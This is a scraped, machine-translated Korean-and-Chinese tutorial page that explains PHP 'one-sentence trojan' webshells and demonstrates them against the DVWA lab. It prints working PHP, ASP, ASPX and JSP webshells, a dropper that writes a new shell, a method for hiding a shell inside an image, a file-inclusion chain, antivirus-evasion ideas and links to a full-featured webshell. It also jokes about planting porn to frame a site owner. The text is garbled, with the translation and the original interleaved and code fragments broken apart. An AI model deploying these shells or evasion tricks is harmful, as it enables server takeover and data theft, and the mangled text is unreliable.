목차
PHP의 경우 많은 트로이 목마를 볼 수 있지만 대부분의 사람들은 여전히 ​​트로이 목마가 무엇인지, 그 형태와 원리를 충분히 이해하지 못하고 있습니다. 이 글이 여러분에게 예상치 못한 놀라움을 가져다 줄 것이라고 믿습니다. 그러니 함께 노력합시다! " >PHP의 경우 많은 트로이 목마를 볼 수 있지만 대부분의 사람들은 여전히 ​​트로이 목마가 무엇인지, 그 형태와 원리를 충분히 이해하지 못하고 있습니다. 이 글이 여러분에게 예상치 못한 놀라움을 가져다 줄 것이라고 믿습니다. 그러니 함께 노력합시다!
개요:
入侵条件
常见形式
基本原理

침략 조건🎜
🎜공통 형식🎜
🎜기본 원칙🎜
中国菜刀
图片木马
木马免杀
小马和大马
网页小马
网页大马
WebShell
백엔드 개발 PHP 튜토리얼 추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

Jun 02, 2021 pm 03:18 PM

PHP의 경우 많은 트로이 목마를 볼 수 있지만 대부분의 사람들은 여전히 ​​트로이 목마가 무엇인지, 그 형태와 원리를 충분히 이해하지 못하고 있습니다. 이 글이 여러분에게 예상치 못한 놀라움을 가져다 줄 것이라고 믿습니다. 그러니 함께 노력합시다!

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

개요:

많은 침투 프로세스에서 침투 담당자는 한 문장의 트로이 목마(Webshell라고 함)를 현재 웹 서비스 디렉터리에 업로드한 다음 ASP에 관계없이 시스템 권한을 얻기 위해 권한을 승격합니다. , php, jsp 또는 aspx. 그렇다면 한 문장으로 구성된 트로이 목마는 정확히 무엇인가요?

가장 간단한 한 문장으로 구성된 트로이 목마를 먼저 살펴보겠습니다.

   <?php @eval($_POST[&#39;attack&#39;]);?>
로그인 후 복사

[기본 원칙]파일 업로드 취약점을 사용하세요 한 문장으로 구성된 트로이 목마를 대상 웹 사이트에 업로드하면 Chinese Chopper chopper.exe를 통해 로컬로 전체 웹 사이트 디렉터리를 획득하고 제어할 수 있습니다. @는 나중에 실행 중 오류가 발생하더라도 오류가 보고되지 않는다는 의미입니다. eval() 함수는 괄호 안의 모든 명령문 문자열이 코드로 실행됨을 나타냅니다. $_POST['attack']은 페이지에서 공격 매개변수 값을 얻는다는 의미입니다. chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[&#39;attack&#39;]表示从页面中获得attack这个参数值。

入侵条件

其中,只要攻击者满足三个条件,就能实现成功入侵:

<ul style="list-style-type: disc;"><li>木马上传成功,未被杀;<br/>知道木马的路径在哪;<br/>上传的木马能正常运行。<br/></li></ul>
로그인 후 복사

常见形式

常见的一句话木马:

php的一句话木马: <?php @eval($_POST[&#39;pass&#39;]);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> 
<%eval(Request.Item["pass"],"unsafe");%>
로그인 후 복사

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

基本原理

首先我们先看一个原始而又简单的php一句话木马:

   <?php @eval($_POST[&#39;cmd&#39;]); ?>
로그인 후 복사

看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

这句话什么意思呢?

(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@

(3)为什么密码是cmd呢?

那就要来理解这句话的意思了。php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST[&#39;a&#39;]; 的意思就是a这个变量,用post的方法接收。

注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)

(4)如何理解eval()函数

eval()把字符串作为PHP代码执行

例如:eval("echo &#39;a&#39;");其实就等于直接 echo &#39;a&#39;;再来看看<?php eval($_POST[&#39;pw&#39;]); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo &#39;a&#39;;这时代码就变成。结果如下:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()

침략 조건🎜

🎜그 중 공격자가 세 가지 조건을 충족하면 침입에 성공할 수 있습니다. 🎜
  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo &#39;<pre class="brush:php;toolbar:false">&#39;;
  print_r($out);
  echo &#39;
로그인 후 복사
로그인 후 복사
';

🎜공통 형식🎜

🎜공통 한 문장 트로이 목마: 🎜
  <?php @eval($_POST[&#39;pass&#39;]);?>
로그인 후 복사
로그인 후 복사
🎜 이러한 명령문을 웹사이트의 asp/aspx/php 파일에 직접 삽입하거나 새 파일을 직접 생성하고 해당 명령문을 작성한 다음 파일을 웹사이트에 업로드할 수 있습니다. 🎜

🎜기본 원칙🎜

🎜먼저 독창적이고 간단한 PHP 한 문장 트로이 목마를 살펴보겠습니다. 🎜
 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
        // No
        echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
로그인 후 복사
로그인 후 복사
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
로그인 후 복사
로그인 후 복사
로그인 후 복사
"; } }?>🎜이것을 보면 선배들의 지혜를 칭찬해야겠습니다. PHP에 대해 조금 아는 사람이나 후배 보안 마니아, 스크립트 키드라면 가장 먼저 눈에 띄는 것은 비밀번호가 cmd🎜이고, 데이터는 포스트를 통해 제출되지만 어떻게 실행하는지는 아니다. 허용됩니다. 아래에서는 문장이 어떻게 실행되는지 분석합니다. 🎜🎜🎜이 문장은 무엇을 의미하나요? 🎜🎜🎜 (1) PHP 코드는 <?php ?> 형식으로 작성해야 서버가 PHP 코드임을 인식하고 파싱할 수 있습니다.
(2) @ 기호는 실행 오류가 발생하더라도 오류가 보고되지 않음을 의미합니다.
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)🎜 🎜왜? 변수가 정의되지 않고 사용되었기 때문에 서버는 친절하게 다음과 같이 상기시켰습니다. xxx 변수가 정의되지 않았습니다. 비밀번호가 노출되지 않나요? 그래서 @를 추가합니다.
🎜🎜🎜(3) 비밀번호는 왜 cmd인가요? 🎜🎜🎜그럼 우리는 이 문장의 의미를 이해해야 합니다. PHP에는 여러 가지 슈퍼 전역 변수가 있습니다. $_GET 및 $_POST가 그 중 하나입니다. $_POST['a'];는 변수 a가 post 메소드를 사용하여 수신됨을 의미합니다. 🎜
🎜참고: 데이터를 전송하는 방법에는 get과 post의 두 가지가 있습니다. Post는 메시지 본문에 데이터를 저장하고, get은 메시지 헤더의 URL 경로에 데이터를 저장합니다(예: xxx.php?a=2) )🎜🎜🎜 (4) eval() 함수를 어떻게 이해하나요? 🎜🎜🎜🎜eval()은 문자열을 PHP 코드🎜로 실행합니다. 🎜🎜예: eval("echo 'a'");는 실제로 echo 'a'와 동일합니다. <? php eval($ _POST['pw']) ?>먼저 post 메소드를 사용하여 pw 변수를 수신합니다. pw=echo 'a'</code >; 그러면 코드는 <code ><?php eval("echo 'a';") ?>가 됩니다. 결과는 다음과 같습니다.

🎜🎜추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)🎜🎜🎜함께 의미하는 것은 🎜: post 메소드를 사용하여 변수 pw를 수신하고 변수 pw에 있는 문자열을 PHP 코드로 실행합니다. 따라서 다음과 같이 플레이할 수 있습니다. 즉, 코드를 실행하려면 코드를 pw 변수에 넣고 post를 사용하여 이를 한 문장의 트로이 목마에 전송합니다. 대상 하드 디스크에 포르노 영화가 있는지 확인하려면 opendir()readdir() 등 PHP 함수를 사용할 수 있습니다. 웹사이트 소유자를 모함하기 위해 일부 포르노 비디오를 업로드하려면 PHP 함수(move_uploaded_file)를 사용할 수 있습니다. 물론 해당 HTML을 잘 작성해야 합니다. cmd 명령을 실행하려면 exec()를 사용하세요. 🎜

当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo &#39;<pre class="brush:php;toolbar:false">&#39;;
  print_r($out);
  echo &#39;
로그인 후 복사
로그인 후 복사
';

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

中国菜刀

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

  <?php @eval($_POST[&#39;pass&#39;]);?>
로그인 후 복사
로그인 후 복사

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

在Low 安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
        // No
        echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
로그인 후 복사
로그인 후 복사
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
로그인 후 복사
로그인 후 복사
로그인 후 복사
"; } }?>

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된) (2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

(4)接着双击或者右键“文件管理”,进入以下界面:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

图片木马

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

承接上面DVWA实验,High 安全等级,继续先查看源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // File information
    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) + 1);
    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];
    $uploaded_tmp  = $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
로그인 후 복사
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
로그인 후 복사
로그인 후 복사
로그인 후 복사
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
로그인 후 복사
'; } }?>

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

生成带有木马的图片文件hack.jpg
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

访问图片木马:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

接下来,上菜刀!!!!!!!!!!!추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen(&#39;muma.php&#39;,&#39;w&#39;),&#39;<?php @eval($_POST[hack]);?>&#39;); ?>
로그인 후 복사

然后制作新的图片木马,如下图所示:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

访问的地址如下:<code style="max-width:90%">http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

此时再上菜刀连接,即可成功连接:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

免杀思路】:

1、将源代码进行再次编码。
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre class="brush:php;toolbar:false">");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
로그인 후 복사
"); }%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

继续访问下命令执行功能(其他功能不展示了):

추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)

推荐学习:《PHP视频教程

위 내용은 추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

세션 납치는 어떻게 작동하며 PHP에서 어떻게 완화 할 수 있습니까? 세션 납치는 어떻게 작동하며 PHP에서 어떻게 완화 할 수 있습니까? Apr 06, 2025 am 12:02 AM

세션 납치는 다음 단계를 통해 달성 할 수 있습니다. 1. 세션 ID를 얻으십시오. 2. 세션 ID 사용, 3. 세션을 활성 상태로 유지하십시오. PHP에서 세션 납치를 방지하는 방법에는 다음이 포함됩니다. 1. 세션 _regenerate_id () 함수를 사용하여 세션 ID를 재생산합니다. 2. 데이터베이스를 통해 세션 데이터를 저장하십시오.

확실한 원칙과 PHP 개발에 적용되는 방법을 설명하십시오. 확실한 원칙과 PHP 개발에 적용되는 방법을 설명하십시오. Apr 03, 2025 am 12:04 AM

PHP 개발에서 견고한 원칙의 적용에는 다음이 포함됩니다. 1. 단일 책임 원칙 (SRP) : 각 클래스는 하나의 기능 만 담당합니다. 2. Open and Close Principle (OCP) : 변경은 수정보다는 확장을 통해 달성됩니다. 3. Lisch의 대체 원칙 (LSP) : 서브 클래스는 프로그램 정확도에 영향을 미치지 않고 기본 클래스를 대체 할 수 있습니다. 4. 인터페이스 격리 원리 (ISP) : 의존성 및 사용되지 않은 방법을 피하기 위해 세밀한 인터페이스를 사용하십시오. 5. 의존성 반전 원리 (DIP) : 높고 낮은 수준의 모듈은 추상화에 의존하며 종속성 주입을 통해 구현됩니다.

시스템 재시작 후 UnixSocket의 권한을 자동으로 설정하는 방법은 무엇입니까? 시스템 재시작 후 UnixSocket의 권한을 자동으로 설정하는 방법은 무엇입니까? Mar 31, 2025 pm 11:54 PM

시스템이 다시 시작된 후 UnixSocket의 권한을 자동으로 설정하는 방법. 시스템이 다시 시작될 때마다 UnixSocket의 권한을 수정하려면 다음 명령을 실행해야합니다.

phpstorm에서 CLI 모드를 디버그하는 방법은 무엇입니까? phpstorm에서 CLI 모드를 디버그하는 방법은 무엇입니까? Apr 01, 2025 pm 02:57 PM

phpstorm에서 CLI 모드를 디버그하는 방법은 무엇입니까? PHPStorm으로 개발할 때 때때로 CLI (Command Line Interface) 모드에서 PHP를 디버그해야합니다 ...

PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). Apr 03, 2025 am 12:04 AM

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

PHP의 CURL 라이브러리를 사용하여 JSON 데이터가 포함 된 게시물 요청을 보내는 방법은 무엇입니까? PHP의 CURL 라이브러리를 사용하여 JSON 데이터가 포함 된 게시물 요청을 보내는 방법은 무엇입니까? Apr 01, 2025 pm 03:12 PM

PHP 개발에서 PHP의 CURL 라이브러리를 사용하여 JSON 데이터를 보내면 종종 외부 API와 상호 작용해야합니다. 일반적인 방법 중 하나는 컬 라이브러리를 사용하여 게시물을 보내는 것입니다 ...

See all articles